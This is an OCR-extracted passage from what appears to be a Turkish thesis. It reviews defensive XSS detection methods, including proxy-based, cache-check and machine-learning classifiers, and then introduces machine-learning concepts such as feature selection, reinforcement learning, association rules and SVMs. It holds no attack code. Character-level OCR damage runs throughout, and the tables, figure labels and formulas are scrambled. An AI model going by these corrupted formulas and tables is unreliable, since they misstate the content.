olarak, bir siniflandiric1 tarafindan kotiiciil olarak etiketlenen betiklerin ortalama %901
aslinda kotii amacghdir. Yazarlar, gercek diinya performansini degerlendirmek i¢in ikinci bir
deney yapmuslar ve Internetteki kara listeye alinan gesitli alanlardan kétiiciil betik dosyalari
toplamiglardir. RIPPER disindaki tiim siniflandiricilarin, kontrollii laboratuvar ortaminda
elde edilenlerle neredeyse ayni hassasiyet degerlerine sahip oldugu goriilmiistiir. Ikinci

deneyde RIPPER daha diisiik bir hassasiyet degeri ortaya koymustur.
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Sundareswaran ve Squicciarini (2012), yaptiklar1 calismada XSS saldirilarini tespit etmek
ve azaltmak i¢in hem istemci tarafi hem de sunucu tarafi coziimlerinin faydalariin
birlestirildigi yeni bir hibrit yaklasim ortaya koymustur. XSS-Dec, anomali algilama
tekniklerini ve kontrol akis analizini kullanan vekil tabanli bir giivenlik mekanizmasidir.
Vekil, istemci tarafindaki bir eklenti ile ziyaret edilen siteyi barindiran sunucu arasinda bir
koprii gorevi goriir. tp aninda, web sitesinin tiim kaynak dosyalariin sifreli bir siiriimiiniin
sunucu tarafindan vekile gonderildigi ilk adim yiiriitiiliir. Daha sonra, web sunucu tarafindaki
kaynak dosyalarda yapilan herhangi bir degisiklik veya giincelleme neticesinde, vekil
tarafindaki kopyalar da sunucu tarafindan giincellenir. Kontrol akis analizi kullanilarak,
sitenin soyut bir temsili vekil tarafindan olusturulur ve daha sonra kullanilmak iizere saklanir.
Herhangi bir t; aninda (t; > tg), kullanici bir sayfaya goz atar ve ziyaret edilen sayfanin yerel
bir kopyas1 eklenti tarafindan korunur. Istemci tarafindan verilen herhangi bir girdi, kontrol
akigi teknikleri kullanilarak kodlanir ve eklenti tarafindan web sayfasinin kaynak koduyla
birlikte o anda goriindiigii haliyle vekile iletilir. t; aninda, hem anormallik tabanli hem
de imza tabanli algilama mekanizmalarimi kullanarak vekil, istemci tarafindaki giriglerde
bulunabilecek kotii amagh herhangi bir 6zelligi tamimlamaya baglar. Istemci tarafindaki
girislerde vekil tarafindan ¢ikarilan 6zelliklere baglh olarak, bir saldir1 olasilig1 hesaplanir.
Bu bilgiler, sayfanin yiiriitiilmesine izin verilip verilmeyecegine veya engellenmesine karar

veren eklentiye gonderilir.

Nunan ve dig. (2012), calismalarinda denetimli makine Ogrenimi kullanarak XSS
saldirilarinin otomatik olarak siniflandirilmasini saglayan bir yontem sundular. Toplanan
bilgilerden URL tabanli ve belge tabanli 6zellikler c¢ikardilar. Bu ongoriicii ozellikler
ic kategoriye ayrilabilir: (/) Gizlemeye dayali ozellikler (2) Siipheli kaliplar ve (3)
HTML/JavaScript semalari. Gizlemeye dayali 6zellikler, kétiiciil kodu tehlikesiz koddan
tek basina ayiramaz. Kotii amagh kod Onaltilik, Ondalik, Base64, Unicode veya Sekizli
kodlama yardimiyla gizlenebilir. Tiim siire¢, gizlenmis herhangi bir kodun tespiti i¢in
incelenecek bir web sayfasi icerir. Varsa, metni ASCII formatina doniistiirmek igin
uygun kod c¢ozme rutinleri yiriitilir. Coziilen web sayfasindan siipheli kaliplar ve
HTML/JavaScript kaliplariyla ilgili 6zellikler ¢ikarilir. Son olarak, bir simiflandirici, web
sayfas1 orneklerini XSS iceren veya XSS icemeyen seklinde iki farkli sinifta siniflandirma
gorevini gerceklestirmek iizere egitilir. Naif Bayes ve DVM makine 68renme algoritmalari

bu amagla kullanilir.
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Siteler Arasi Betik
Calistirma (XSS) Saldin

Tespit Yaklagimlar

o - o - Sunucu Tarafl Istemci Tarafli
Statik Yaklagim Dinamik Yaklagim Hibrit Yaklagim Coziimler Coziimler
UE RIS T L Kafes Tabanh Yaklagim
Yaklasimlar

Sozdizimsel Yap
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algilama

adcusur Yayihim Yaklagimm

Dize Analizi — = Sinir enjeksiyonu
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algilama

Politikalar Yaklasim

Vekil Temelli Yaklagim
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Yaklagimi

=l Stnirli Model Kontroli

Yazilim Test

Yaklagimlari

tvenilmeyen Betikleri
Kullanma _

Bl Makine Ogrenmesi
Yaklagimi

Sekil 2.44: Genel bir bakis acis1 ile XSS tespit yaklagimlari ve ¢oziimleri (Nithya, Pandian ve
Malarvizhi, 2015)

Panja, Gennarelli ve Meharia (2015), yaptiklar1 calismayla hem sunucuda hem de istemcide
degisiklik yapilmasini gerektiren bir yontem olan Tampon Tabanli Onbellek Kontroliinii
(Buffer Based Cache Check) sundular. Istemci bir kaynak, yani bir web sayfasi istediginde,
sunucu derhal Onbellekte istenen sayfanin bir kopyasimin olup olmadigini kontrol eder.
Bir kopya bulursa, istenen sayfa ile kaydedilen kopya arasinda bir karsilagtirma yapilir.
Eslesmeyen diigiimler tek bir diiglimde karantinaya alinir ve giivenilir olmayan olarak
isaretlenir. Simdi sayfa istemciye gonderilmeden Once, her ikisi de sayfaya gomiilii olan
iki fonksiyon, X ve Z fonksiyonu devreye girer. Cagrildiginda X fonksiyonun gorevi,
giivenilmeyen diigiimler icindeki karantinaya alinan diigiimlerin kodlarini, fonksiyonun

icine uygulama gelistiricisi tarafindan hazirlanip gomiilmiis olan bir beyaz listeyle
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kargilastirmaktir. Karsilagtirma sonucu negatif bir sonug verirse, ekranda bir dize bi¢imindeki
kod goriintiilenir ve kotii amacli olarak kabul edilir. Isaretlenmemis diigiimler normal sekilde
ayristirihir. X fonksiyonu artik giivenilmeyen kod ve DOM’daki konumu ile ilgili bilgileri
sunucuya iletir. Sunucu daha sonra kodu sayfadan kaldirmak i¢in gerekli iglemleri yapar
ve Onbellekte uygun giincellemeler yapilir. Z fonksiyonunun gorevi bir mantiksal deger
dondiirmektir, yani istemci ekraninda hi¢ giivenilmeyen bir kod olusturulmamigsa fonksiyon
dogru degerini dondiiriir. Cozlim, agirlikli olarak ilk onbellegin olusturulmasini gerektiren

bir egitim asamas talep eder.

Goswami ve dig. (2017), calismalarinda XSS saldirilarinin tespiti i¢cin denetimsiz bir yontem
sunmaktadir. Yontem, algilama prosediirii devam ederken istemci ve sunucu arasindaki
yiikii dengeler. Minimum ilk kontrol, iraksaklik ol¢iisii kullanilarak istemci tarafinda
gerceklestirilir. Istemci ayrica, istegi 6nceden isleme, ozellik ¢ikarma ve vekil tarafindan
saglanan referans olarak saldir1 profilini ve normal 6rnekleri koruma gibi birka¢ baska gorevi

de yerine getirir.

Istemci tarafindaki ilk adimin sonucu belirli bir esik degerini gecerse, istek hemen goz
ardi edilir. Ote yandan, boyle bir durum yoksa, istek vekile aktarilir. Vekil diizeyinde
toplanan veriler, toplam 16 ozellikten 6n isleme ve 6zellik ¢cikarma islemine tabi tutulur.
Ozellik ¢ikarma adiminin ardindan bir 6zellik secme mekanizmasi olan Sira Toplama (Rank
Aggregation) asamasina geldigine dikkat etmek Onemlidir. Saldirilar1 tespit etmek igin
vekilde bir 6znitelik kiimeleme algoritmasi kullanilir. Algoritma, 6zelliklerin ayr1 ayr farkl

kiimelere yerlestirildigi k-ortalama algoritmasina dayanmaktadir (Hartigan ve Wong, 1979).

Tablo 2.12: Istemci-Sunucu Tarafi Yaklagimlarin Ozeti

Odaklanilan

Tespit edilen

Analiz Tiirii  Referans Calisma Alan XSS Tipi Giiclii Yon / Zayifik
. . (Wassermann ve ... Yansitilmig ve
Statik Analiz Su, 2008) Zafiyet Tespiti Depolanmis
(Jim, Swamy ve - Yansitilmis ve  Performans yiikii diisiiktiir ve
Hicks, 2007) Saldirt Onleme Depolanmig  pratik olarak uygulanabilirdir.
Dinamik Analiz (Nadji, Saxena ve Saldir1 Onleme Yansitilmig

Song, 2009)

(Gundy ve Chen, 2009)

Saldir1 Onleme

Yansitilmig ve

Depolanmig
(Sundareswaran ve 2 -
Squicciarini, 2012) Saldirt Onleme Timi
(Panja, Gennarelli ve Saldir1 Tespit ve Tiimii Bozulabilecek veya enjekte

Meharia, 2015)

Onleme

edilebilecek bir onbellek tutar.
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Tablo 2.13: Makine Ogrenmesi Yaklasimlarinin Ozeti

. Odaklanilan  Tespit edilen o
Analiz Tiirii Referans Calisma Alan XSS Tipi Uygulandig1 Yer
o ... Yansitilmig ve  Istemci-Sunucu
Statik Analiz (Likarish, Jung ve Jo, 2009) Saldir1 Tespiti Depolanmis Tarafinda
" - .. . Istemci-Sunucu
(Nunan ve dig., 2012) Saldir1 Tespiti ~ Belirtilmemis Tarafinda

Yansitilmig ve

(Kruegel ve Vigna, 2003) Saldir1 Tespiti Sunucu Tarafinda
Anomali Temelli Depolanmig
(Robertson ve dig., 2006) Saldir1 Tespiti ~ Belirtilmemis Sunucu Tarafinda
(Song, Keromytis ve Stolfo, 2009)  Saldir1 Tespiti Yansiulmug ve Sunucu Tarafinda
Depolanmig
. .. Yansitilmig ve
Dinamik Analiz (Guo, Jin ve Zhang, 2015) Zafiyet Tespiti Depolanmis Sunucu Tarafinda
. . ... Yansitilmig ve  Istemci-Sunucu
(Goswami ve dig., 2017) Saldir1 Tespiti Depolanmis Tarafinda

Hem istemci hem de sunucu, bir XSS saldirisindan etkilenir. Bu nedenle, savunma
mekanizmas1 tekil olarak o6zellikle istemciye veya sunucuya dayanmamalidir. Istemci
ile sunucu arasindaki yiikii dengeleyen bir savunma mekanizmasi tercih edilmelidir.
Boyle bir savunma mekanizmasi, hem sunucu tarafi hem de istemci tarafi savunma
mekanizmalarinin avantajlarini birlestirir. Tablo 2.12’de incelenen istemci-sunucu savunma
mekanizmalarimin bir 6zeti yer almaktadir. Ayrica Tablo 2.13’te de incelenen tiim makine

0grenimi yaklagimlari i¢in ayr1 bir 6zet verilmistir.

2.3. MAKINE OGRENMESI

Internete bagh cihaz sayisinin ve bu cihazlar iizerinde calisan uygulamalarm giderek
artmasiyla, giinliikk ortalama bir firma tarafindan tiretilen veri hacmi Gigabaytlar1 ve hatta
Terabaytlar1 asmaktadir. Veri miktarinin bu sekilde patlamali olarak artisi, giiniimiizde bu
tiir verilerin el ile analizini pratik olmayan ve hatta imkansiz bir hale getirmistir. Bu engel,
verilerle ilgili bilgi edinmek icin otomatik algoritmalar gelistirilmesini gerektirmektedir.
Bu yaklagimlardan birisi, veriden kaliplar1 kesfetmek i¢in kullanilan bir dizi otomatik
algoritma olan Makine Ogrenmesi’dir. Bu modeller, goriinmeyen verilerin gizli yapisini
tahmin etmek ve buna gore gerekli eylemi gerceklestirmek icin kullanilabilir. Sekil 2.46,
makine 0grenmesi yontemlerine hizlica genel bir bakisi icermekte olup, daha farkli ve karma

algoritmalar da s6z konusudur.

Makine Ogrenimi, bilgisayar bilimlerinde Yapay Zekanin (Al: Artificial Intelligence) bir
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alt alan1 olup kokleri istatistik ve matematiksel optimizasyona dayanmaktadir. (Jones,
2017) Giiniimiizde siklikla Makine Ogrenmesi ile Yapay Zeka, birbiri yerine es anlamli
olarak da kullanilmaktadir. Yine de, Yapay Zekanin tiim alanlarinin amaci bilgisayar
programlarina zeka kazandirmak olsa da, bunun Makine Ogrenmesinde hayata gecirilme
sekli, Yapay Zekanin diger alt alanlarindan farklidir. Daha somut olarak fark, 6grenme
siirecindedir; Makine Ogrenmesi, ge¢cmis deneyimlerden elde edilen tecriibeleri kullanarak
problemleri ¢ozmeyi amaclayan veri odakli bir yaklasgimdir. (Ramprasad ve dig., 2017)
Yani ¢ogunlukla yapay zekanin diger bicimlerinde genellikle Satran¢ oynamak, Sudoku
cozmek vb. gibi 6zel algoritmalar tasarlanirken bu durumda algoritmalar 6zel bir problemi
cozmek icin 6zel olarak tasarlanmamaistir. Giiniimiizde makine 6grenimi uygulamalar bircok
alanda kullanilmaktadir. Nesnelerin ve kisilerin fotograflarinin etiketlenmesi i¢in makine
O0grenimini kullanan sosyal iletisim aglar1 ve kullanicinin en ¢ok etkilestigi sayfalarin yani
sira arkadag ve sayfa Onerileri gibi verilerden faydalanarak haber akisini kisiye 6zel kilan

uygulamalar giiniimiizdeki tipik birka¢ 0rnek olarak verilebilir.

Test deseni " " Gikti
—— On igleme > Ozellik ol¢limii > Siniflandirma

Siniflandirma Asamasi

Egitici desen

Ozellik gikarimi /
Ozellik segimi

=

Sekil 2.45: Makine Ogrenmesi Siireci (Jain, Duin ve Mao, 1999)

On isleme > > Ogrenme

Egitim Asamasi

Sekil 2.45, iki asamadan olusan makine 6grenim siirecinin ana yapi taglar1 olan egitim ve
simiflandirmay1 gostermektedir. Tk asama olan egitimin rolii, verilerin baz1 gizli yonlerini
tahmin edebilen veya kesfedebilen bir model insa etmektir. Ham veriler, islenip, temizlenir
ve vektorler olarak temsil edilmeye baglar; buradaki vektorlerin her biri, ham verilerin
baz1 belirgin Ozelliklerini temsil eder. Bu ozellik vektorlerinin kalitesi, var olanlarin
bir kombinasyonu olarak yeni Ozellikler yaratilarak (0zellik ¢ikarimi) veya vektorlerin
boyutsalligin1 azaltmak i¢in 6zelliklerin yalnmizca bir alt kiimesi segilerek (6zellik secimi)
artirtir. 1k agama, verilen probleme 6zel parametrelerin 6grenilmesi ve ayarlanmasini

iceren, modelin kendi kendine egitim veya 6grenme yoluyla sonuglandirilir. Ikinci asama
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olan simiflandirma, egitim sirasinda olusturulan modelin, yeni veri orneklerinde belirli bir
gorevi (0rn.; kilmeleme) gerceklestirmek i¢in kullanildig1r asamadir. Bundan 6nce, yeni veri
ornekleri onceden iglenir ve egitim sirasinda oldugu gibi aym 6zellikler ile temsil edilir. Bu
asamanin ¢iktist algoritma tipine baghdir ve siif etiketleri, veri kiimeleri, regresyon i¢in
gercek degerler vb. olabilir. Asagida, bu adimlarin her biri hakkinda daha ayrintili bilgi
sunulmakta olup, Sekil 2.46’da da Makine Ogrenmesi algoritmalarinin genel bir semasi

verilmisgtir.

On Isleme

Makine Ogrenmesinde ‘“Bedava yemek yok teoremi (No Free Lunch Theorem)”, her
problemi en etkili ve verimli sekilde ¢6zmek i¢in hicbir uygun genel gecer algoritmanin
olmadiginm belirtmektedir (Domingos, 2012). Bu, temel olarak her algoritmanin belirli
problemler, veriler ve yapilandirma iizerinde caligsmak iizere, farkl sekilde tasarlanmasindan
kaynaklanmaktadir. Algoritmanin degistirilmesi ve yeni kombinasyonlara gore uyarlanmast
pratik bir ¢oziim olmadig1 icin, 6n isleme yontemleri tiim makine d8renim siirecinde cok

onemli bir rol oynamaktadir.

Uygulanabilen birka¢ 6n islem metodu vardir, ancak en azindan veriler 6grenme algoritmasi
tarafindan islenebilecek bir formatta temsil edilmelidir. Gercek senaryolardaki veriler
genellikle e-posta gonderi metinleri, sosyal medya goriintiileri, ag trafigi, kaynak kodu gibi
ham bicimdedir. Ne yazik ki, cogu 6grenme algoritmasi, yalnizca ozellik vektorleri olarak
mevcut oldugunda veri isleme yetenegine sahiptir. Boyle bir temsili elde etmenin yontemleri,
otomatik ve elle yapilan Ozelliklerin yam sira her iki yaklagimin bir kombinasyonunu
icerir. Bu calismada 6zellikleri otomatik olarak 68renebilen yontemler tizerinde durulmustur.
Algoritmalar, sadece ham verilerle 6zellik vektorleri iizerinde calismak iizere degil aym
zamanda belirli tiirdeki 6zellikler veya problemler icin ¢alismak iizere de tasarlanabilirler.
Bu nedenle, problemin ve/veya Ozelliklerin ikili hale getirilmesi, siirekli ©zelliklerin
ayriklastirilmasi, ayrik ozelliklerin siirekli hale doniistiiriilmesi, kategorik verilerin iglenmesi
vb. gibi (Kononenko ve Kukar, 2007) yontemler genellikle bir 6n iglem adimi olarak
gerceklestirilir. Giiriiltli ve aykir1 degerler, genellikle 6l¢iimdeki hatalar veya veriyi elde
etmek icin kullanilan araglar nedeniyle verilerde bulunur. Kaynagina bakilmaksizin, bunlarin
varlig1, verilen sorun icin yeterli olmayan bir ¢oziimle sonuglanabilir. Bu nedenle, giiriiltiiniin
belirlenmesi ve ¢ikarilmasi icin uygun yontemlerin kullanimi ve aykir1 degerlerin elenmesi

daha fazla analiz yapilmadan 6nce mutlaka yapilmalidir.
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Makine Ogrenmesi Algoritmalari
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Sekil 2.46: Makine Ogrenmesi Algoritmalarina Genel bir Bakis

Farkli birimlerde (0rn.; metre, kilogram) ve aralikta veri bulunmasi, analizin genel
sonuglarinda da olumsuz bir etkiye sahip olabilir. Tipik bir ornek olarak, veri 6rnekleri
arasindaki uzakliklara dayanan algoritmalar (6rn.; K-En Yakin Komsu) verilebilir. Her
bir ozelligin uzakliga katkisin1 veren her iki ozellik vektorii arasindaki uzaklik (6rn.;

Oklid, Minkowski, Manhattan, Chebyschev, Dilca, vb.) hesaplanir. Onlar araligindaki bir
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ozellige veya binler aralifindaki bir digerine sahip diisiikk degerli 6zelliklerin toplam
uzaklik iizerindeki etkisinin ihmal edilebilir oldugu anlamina gelir. Bu nedenle, veri
normallestirme ve standardizasyon kullanimi tercih edilir. Farkli birimlerdeki verileri

islemek i¢in cogunlukla z-doniisiimleri uygulanir.

Ozellik ¢ikarimi ve/veya secimi

Siirecin ikinci adimi, 6zellik ¢ikarma ve secim olmak iizere iki farkli yontem gerektirir.
Bunlar siklikla birbirinin yerine kullanilmasina ragmen, birbirinden bagimsiz olarak
calistirllabilen farkli siireglerdir. Her iki yaklagimin birlikte uygulanmasi da miimkiindiir.

Ornegin 6zellik segimi, 6zellik ¢ikarma isleminden sonra kullanilabilir.

Ozellik Cikarma, mevcut ozellik alamini daha diisiik boyutlara sahip yeni bir uzaya
doniistiirme islemidir. Diger bir deyisle, var olanlardan yeni boyutsal bir uzayda yeni
ozelliklerin ingasidir. Bunu gerceklestiren fonksiyonlar dogrusal veya dogrusal olmayan
fonksiyonlar olabilir ve Ornekler arasinda Temel Bilesenler Analizi (PCA: Principal
Components Analysis), Bagimsiz Bilesen Analizi (ICA: Independent Component Analysis),
Kendi Kendini Diizenleyen Haritalar (SOM: Self-Organizing Maps), Dogrusal Diskriminant
Analizi (LDA: Linear Discriminant Analysis), Kanonik Korelasyon Analizi (CCA:
Canonical Correlation Analysis), Gizli Dirichlet Tahsisi (LDA: Latent Dirichlet Allocation),
Cok Boyutlu Olgekleme Analizi (MDS: Multidimensional Scaling), vb. yer alir. Bicimsel
olarak mevcut bir dizi 6zellik A;, A, ..., A, verildiginde, bir eslestirme fonksiyonu F, her bir
ozellik B;= Fj(Aj, A»,..., A,) olarak haritalanacak bicimde yeni Bj, B>, ..., B, 0zelliklerini
elde etmek i¢in uygulanir. (Motoda ve Liu, 2002)

Diger yandan Ozellik Secimi’nin amaci, mevcut n boyutlu 6zelliklerin hepsinden, m
< n olmak iizere, m boyutlu en iyi Ozellik alt kiimesini bulmaktir. Tiim ozellikler,
verilerin farklilagarak farkli siniflara dahil olmasina katkida bulunmaz, gereksiz ozellikler
de mevcut olabilir. U¢ ana 6zellik secim yontemi vardir: sarmal yontemler, filtreleme
ve gOomiilii yontemler (Budak, 2018). Sarmal ve filtreleme yontemler arasindaki temel
fark, degerlendirme kriteridir (Guyon ve Elisseeff, 2006). Daha belirgin olarak fark,
sarmal yontem degerlendirme kriterlerini 6grenmeyi kapsarken (Kumar ve Minz, 2014),
filtreleme yonteminde verilerin boyutunun sarmal ve filtreleme yontemleri arasinda goz
oniinde bulundurulmasi gereken faktorlerden biri olarak belirlenmemesidir. Bu, sarmal

yontemlerin 0grenmeyi icermesi gerceginden kaynaklanmaktadir; veri kiimesi boyutu,
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hesaplama gereksinimi nedeniyle ¢ok biiyiikk olursa, filtreleme yOntemlerini kullanmak
diisiiniilebilir. Diger taraftan, gomiilii yontemler, modelleme yapisinin (6grenme) entegre bir
parcasi olarak ozellik segimini gerceklestirir. Tipik bir 6rnek karar agaclaridir. Ozetlemek
gerekirse oOzellik secimi, Ozellik alt kiimelerinin siralamasini veya degerlendirmesini
kullanarak daha az sayida ozellik ile benzer performansa sahip ozelliklerin en uygun alt
kiimesini bulmaktadir. En yaygin yontemler arasinda Korelasyon Ozellik Segimi (CFS:
Correlation Feature Selection), Karsilikli Bilgiye Dayali Ozellik Se¢imi (Mutual Information
based Feature Selection) ve Nguyen tarafindan 6nerilen genellestirilmis bir yontem (Nguyen,

2012) bulunmaktadir.

Ozellik ¢ikarim, oOzellik segimi veya her ikisi birlikte kullanilmadan 6nce hangisinin
kullanilacagina karar vermek icin cesitli faktorlerin dikkate alinmasi gerekir. Jain, Duin
ve Mao (1999), ozellik secimi mevcut Ozellikleri degistirmedikce fiziksel yorumlarini
koruduklarin1 ve oOzellik sayisinin azalmasiyla daha fazla analizin maliyetinin (zaman
ve alan) daha ideal hale geldigini ileri siirmektedir. Alternatif olarak, ozellik c¢ikarimi,
mevcut ozelliklere dogrusal veya dogrusal olmayan esleme fonksiyonlarinin uygulanmasini
icerdiginden, 6zellik alan1 topolojisi korunmaz ve bu nedenle 6zelliklerin fiziksel yorumunun
kaybolmasi olasidir. Bununla birlikte, 6zellik ¢ikarmanin temel avantaji, mevcut 6zelliklerin

diger alt kiimelerinden daha ayirt edici olabilen yeni 6zelliklerin olusturulmasidir.

Ogrenme

Makine Ogrenimini diger otomatik yontemlerden ayirt eden Ozelliklerinden biri de
stiphesiz 68renme yetene8idir. Bu anlamda 68renme ya da egitim, algoritmalarin belirli
bir gorev iizerinde kendi performanslarimi gelistirmelerine olanak veren siire¢ olarak
tanimlanir. Bu, makine 68reniminin temel fonksiyonudur ve rolii, gériinmeyen verilerin gizli
yapisimi kesfetmek icin kullanilabilecek genellestirilmis bir model olusturmaktir. Ug ana
Ogrenme tiirii vardir: denetimli, denetimsiz ve yari denetimli 68renme (Buczak ve Guven,
2016). Takviyeli Ogrenme veya diger adi ile Pekistirmeli Ogrenme olarak adlandirilan
dordiincii bir tiir de vardir ve dinamik programlama ile denetimli 6grenme disiplinlerinin
birlesiminden olugmaktadir. Bu disiplinlerin tek basina adresleyemedigi problemleri basari

ile cozebilmektedir (Harmon ve Harmon, 1997).
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2.3.1. Takviyeli Ogrenme

Takviyeli Ogrenme, bir ajanin (6grenen) cevreyle etkilesim ve deneme-yamilma yoluyla
belirli bir gorevi gergeklestirmeyi Ogrendigi etkilesimli bir modeli icerdigi i¢in diger
yaklagimlardan farklidir. Daha somut olarak, her bir etkilesimde ajan, cevrenin mevcut
durumu hakkinda bir takim geri bildirimler alir ve buna dayanan bir eylemde bulunur.
Bu eylem daha sonra degerlendirilir ve aksiyonun dogrudan hedefe ulagsma iizerindeki
etkisine bagli olarak ajana bir 6diill veya ceza verilir. Amag¢ 6diilin uzun vadede en
tist diizeye cikarilmasi oldugundan, ajan c¢evreyi ne bildigi ile baglantili olarak diger
siniflandirma bicimleriyle en biiyiik farklardan birini olusturmayi sa8layacak sekilde

arastirmak zorundadir (Kaelbling, Littman ve Moore, 1996).

eylem { e(t) } durum { dt) }
odiil / ceza
takviye { t{t) }
T
A Maliyet Tahmini
Eylem Sacimi Deneyim Birikimi
& 3 )

Yerlesik Bilgi

[}
I
:
[}
Algilama ‘-'J..
:
]
]
I
I
[}
]
]
]
]
]
]
[}
[}

Sekil 2.47: Takviyeli Ogrenme ve Ogrenme Ajaninin Genel Yapisi (Ribeiro, 1999)

Bir bebege, evinizde (ortam) bir TV uzaktan kumandasi verildigini diisiiniin. Basit bir
ifadeyle, bebek (0grenme ajani) once kendi cevre (durum) temsilini gozlemleyecek ve

kuracaktir. Daha sonra merakli bebek, uzaktan kumandaya basmak (eylem) gibi belirli
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eylemleri gerceklestirecek ve TV yanitinin (sonraki durum) nasil olacagini gdzlemleyecektir.
Cevap vermeyen bir TV sikici oldugu i¢in, bebek bundan hoglanmayacak (olumsuz bir 6diil
aliyor) ve buna benzer bir sonuca yol acacak daha az eylem gerceklestirecektir (politikanin
giincellenmesi), bunun tersi i¢in de benzer bir durum gecerli olacaktir. Bebek, mutlu oldugu
bir politikay1 (farkli kosullar altinda ne yapacagini) bulana kadar (toplam 6diilii maksimuma

cikaracak sekilde) siireci tekrar edecektir.

Giinliik hayatta takviyeli 6grenme, trafik 1siklarinin kontrolii (Arel ve dig., 2010), Robotik
(Kober, Bagnell ve Peters, 2013), Web sunucu yonetim ve konfigiirasyonu (Bu, Rao ve Xu,
2009), Kimya (Zhou, Li ve Zare, 2017), kisisellesmis uygulama gereksinimleri (Zheng ve
dig., 2018), teklif verme ve reklamcilik (Jin ve dig., 2018), dijital oyunlar (Silver ve dig.,
2016) gibi pek ¢ok alanda problemlerin ¢dziimii i¢in basarili bir sekilde kullanilmaktadir.

2.3.2. Denetimli Ogrenme

Mlgili ¢ikt1 etiketlerine sahip veri orneklerinin kullamlabilirligi nedeniyle, Denetimli
Ogrenme 6gretmenle 6grenmeye benzer. Onemli sayida (“rnek_veri”, “cikti_smifi”) ¢ifti,
dahili yapiya uyum saglamak i¢cin bu Orneklerden gelen bilgileri kullanan ve boylece
yeni ve goriilmemis veri orneklerini modellemek i¢in genellestirilmis bir model olusturan
smiflandirict i¢in “6gretmen” islevi gormektedir. Her bir 6rnek X;, bir 6zellik vektoril {x;,
X2,..., Xp} ile temsil edilsin ve Y;= {y;, y2,..., yn}, tim m boyutlu olasi ¢iktilarin kiimesi
olsun. Amag, her bir ornek X; icin Y;= F(X;) olacak sekilde bir F' fonksiyonu bulmaktir.

Cikis siifinin tiiriine iligskin olarak denetlenen 6grenmenin iki gorevi vardir: Siiflandirma

ve Regresyon (Anohhin, 2017).

Regresyon, ¢iktiyr (y), girislerin (x) basit bir dogrusal kombinasyonu olarak temsil ettigi
icin en basit 6grenme modellerinden biridir. Bigimsel olarak, (dogrusal) regresyonun amaci,
y = ox+ B gibi bir fonksiyonu dgrenmektir. Girisin degeri siirekli olabileceginden, cikig
degerleri de siirekli olabilir. Ote yandan, smiflandirma ikili mantik kullanilarak regresyon
yapmak olarak tanimlanabilir. Yani, stniflandirmanin ¢ikti degeri artik siirekli degil, ayrik

bir degerdir.
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2.3.2.1. Birliktelik Kurali Siniflandirmast

Birliktelik kuralina dayali 6grenme, bagimlilik modellemesinin bir sekli olup degiskenler
veya Ogeler arasindaki iligkilerin veri kiimesini inceler. Bir birliktelik kurali, korelasyon
ozelliginin ikiden fazla boyuta bir genislemesi olarak goriilebilir, boylece ¢oklu 6znitelikler
arasinda iligkili es-bicimler bulunabilir. Birliktelik Kuralinin temelleri asagidaki sekilde

aciklanabilir:

E= {I},h,--- I} degiskenlerin veya ogelerin bir kiimesi ve D, T1,T5,--- ,Ty seklinde N
islemden olusan bir veri tabani olsun. Her iglem 7; V1 < j < N, degiskenlerin veya dgelerin
bir alt kiimesidir (7; C E) (Agrawal, Imielinski ve Swami, 1993). Bir A = B birliktelik kural:

icin asagidaki kisitlamalar mevcuttur:

1. HTj,A,B S Tj
2. ACE,BCE, ve

3. ANBe€ @

Yukaridaki kuralda, A (kuralin sol tarafi) kuralin 6nciilii, B (kuralin sag tarafi) ise kuralin
teamiilii olarak adlandirilir. Bu kurallarin benzer bircogu veri tabaninda yer alabilece8inden,
birliktelik kurallarindan ilgi cekebilecek olanlarin yani calisma kapsaminda ele alinmasi
gerekenlerin fark edilmesi i¢in iki Ol¢ii; destek ve giiven tanimlanmugtir. Destek, veri
tabanindaki korelasyonu gosteren veri ylizdesini, giiven ise Onciiliin zaten gergeklesmis
olmasi durumunda bir teamiiliin kogsullu olasiligini gosterir. Yukaridaki gosterimleri

kullanarak, destek ve giiven asagidaki sekilde tanimlanabilir:

4TIABET

Destek(A = B) = %
HTA,BET, @D

G.. A :> B — l Y 1

tiven( ) —#T,~|A T,

Bir birliktelik kurali i¢in hesaplanan destek ve giiven, kullanici tarafindan belirlenen
minimum esik degerlerinden daha biiyiik ise birliktelik kurali giiclii kabul edilir (Moustafa

ve Slay, 2017).
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Yukaridaki Ornekte verilen A’nin, Oznitelik de8er ciftlerinin siklik desenlerini, B’nin
ise smif etiketlerini tanimlamadigini kabul edelim. Boylece birliktelik kurallari, A’nin
etkin siniflandirmasini yapabilir. Birliktelik kurallari, degisken veya ogelerin alt kiimeleri
(6znitelikler) ile sinif etiketleri arasindaki nedensellik iligkisi gibi ilgi ¢ekici iligkilerin ortaya
cikarilmasinda avantajlara sahiptir. Giiglii birliktelik kurallari, 6znitelik deger ciftlerinin
siklik desenlerini, farkli sinif etiketleri seklinde siniflandirabilir. Bununla birlikte, tiim
ilging iligkilerin kurallarla agiklanmasi, orta Olgekli veri kiimeleri i¢in bile hesaplama
karmasikligina yol acabilir. Kural boslugunu sinirlandirma ve kiigiiltme amaci, birliktelik

kurali madenciligine hizl bir bigimde rehberlik edebilir.

2.3.2.2. Destek Vektor Makinesi

Destek Vektor Makinesi (SVM: Support Vector Machine) siniflandiricisinin temel ilkesi,
ozellik uzayindaki siniflar arasinda bir ayirma hiperdiizlemi yerlestirmeyi 6grenerek farkli
siniflara ait verilerin ayrilmasina dayanmaktadir. Verilerin dogrusal olarak ayrilabilir
olmas1 durumunda hiperdiizlem, orijinal 6zellik uzayina yerlestirilir. Aksi halde, verileri
doniistirmek ve daha yiiksek boyutlu bir 6zellik uzayima eslemek icin 6zel fonksiyonlar
kullanilir (Cortes ve Vapnik, 1995). Bu fonksiyonlar, ¢cekirdek fonksiyonu olarak adlandirilir
ve DVM’nin dogrusal olmayan problemleri ¢dzmesini saglayarak DVM’yi en yaygin

kullanilan denetimli siniflandiricilardan biri haline getirir.

DVM’lerin ¢alisma prensibini gostermek i¢in, x veri érneklerini ve y, y € [—1, 1] olmak iizere
bunlara kargilik gelen siniflar1 ifade etsin. Dogrusal olarak ayrilabilir veriler i¢in, w bir vektor

ve b bir say1l (yanlilik) olmak iizere asagidaki denklemleri saglar:

wxi+b>1, vi=1 |ise,
(2.2)
wx;i+b < —1, vi=—1 Iise,

Ogrenme siireci sirasinda DVM, hiperdiizlem ile hiperdiizleme en yakin 6zellik vektorleri
arasindaki mesafe olarak tanimlanan marjini, en list diizeye c¢ikartan en uygun hiperdiizlemi
bulmaya calisir. Bu vektorler destek vektorleri olarak adlandirilir, Oyle ki optimal

hiperdiizlem asagidaki denklemi saglar:

WoXi+b, =0 (2.3)
